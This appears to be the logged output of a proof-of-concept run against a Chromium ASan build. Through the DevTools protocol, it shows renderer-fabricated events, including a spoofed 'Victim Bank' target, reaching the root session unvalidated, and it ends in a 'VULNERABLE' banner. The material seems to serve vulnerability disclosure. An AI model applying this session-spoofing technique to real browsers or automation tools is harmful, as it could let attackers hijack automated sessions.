[*] launching: /chromium/chromium/src/out/asan/chrome --remote-debugging-pipe --headless=new --no-sandbox --disable-gpu --no-first-run --no-default-browser-check --user-data-dir=/tmp/chrome-poc-profile about:blank
[>] {"id": 1, "method": "Target.createTarget", "params": {"url": "data:text/html,<title>attacker.example</title><h1>attacker-controlled page</h1>"}}
[<] result [ROOT] id=1 {"targetId": "F28AEB05BAC9C5BE84875E2EE5C76353"}
[*] attacker targetId = F28AEB05BAC9C5BE84875E2EE5C76353
[>] {"id": 2, "method": "Target.attachToTarget", "params": {"targetId": "F28AEB05BAC9C5BE84875E2EE5C76353", "flatten": true}}
[<] event  [ROOT] Target.attachedToTarget {"sessionId": "95E4805A4D5E41DAB62B351EA265FDF8", "targetInfo": {"targetId": "F28AEB05BAC9C5BE84875E2EE5C76353", "type": "page", "title": "", "url": "data:text/html,<title>attacker.example</title><h1>
[<] result [ROOT] id=2 {"sessionId": "95E4805A4D5E41DAB62B351EA265FDF8"}
[*] child sessionId  = 95E4805A4D5E41DAB62B351EA265FDF8
[>] {"id": 3, "method": "Runtime.enable", "params": {}, "sessionId": "95E4805A4D5E41DAB62B351EA265FDF8"}
[<] event  [sid=95E4805A..] Runtime.executionContextCreated {"context": {"id": 1, "origin": "://", "name": "", "uniqueId": "-6415032026941710874.595869278996256949", "auxData": {"isDefault": true, "type": "default", "frameId": "F28AEB05BAC9C5BE84875E2EE5C76353
[<] result [sid=95E4805A..] id=3 {}
[<] event  [ROOT] __SPOOFED_BY_COMPROMISED_RENDERER__ {"note": "This event was fabricated by renderer process and delivered as a ROOT-session event (no top-level sessionId). The browser process did not validate or rewrite the sessionId.", "actualChildSes
[<] event  [ROOT] Target.attachedToTarget {"sessionId": "95E4805A4D5E41DAB62B351EA265FDF8", "targetInfo": {"targetId": "SPOOFED-BY-RENDERER-0000", "type": "page", "title": "Victim Bank - SPOOFED", "url": "https://victim-bank.example/login", "

==============================================================================
[!!!] VULNERABLE
[!!!] The root CDP client received the following ROOT-session
[!!!] events that were fabricated by the renderer process and
[!!!] forwarded by the browser without sessionId validation:

    {
        "method": "__SPOOFED_BY_COMPROMISED_RENDERER__",
        "params": {
            "note": "This event was fabricated by renderer process and delivered as a ROOT-session event (no top-level sessionId). The browser process did not validate or rewrite the sessionId.",
            "actualChildSessionId": "95E4805A4D5E41DAB62B351EA265FDF8"
        }
    }
    {
        "method": "Target.attachedToTarget",
        "params": {
            "sessionId": "95E4805A4D5E41DAB62B351EA265FDF8",
            "targetInfo": {
                "targetId": "SPOOFED-BY-RENDERER-0000",
                "type": "page",
                "title": "Victim Bank - SPOOFED",
                "url": "https://victim-bank.example/login",
                "attached": true,
                "canAccessOpener": false,
                "browserContextId": "SPOOFED"
            },
            "waitingForDebugger": false
        }
    }

[!!!] A real automation client (Puppeteer/Playwright) would
[!!!] now create a Page object for https://victim-bank.example/
[!!!] whose commands route to the attacker's renderer (sessionId
[!!!] 95E4805A4D5E41DAB62B351EA265FDF8).
==============================================================================
[>] {"id": 4, "method": "Browser.close", "params": {}}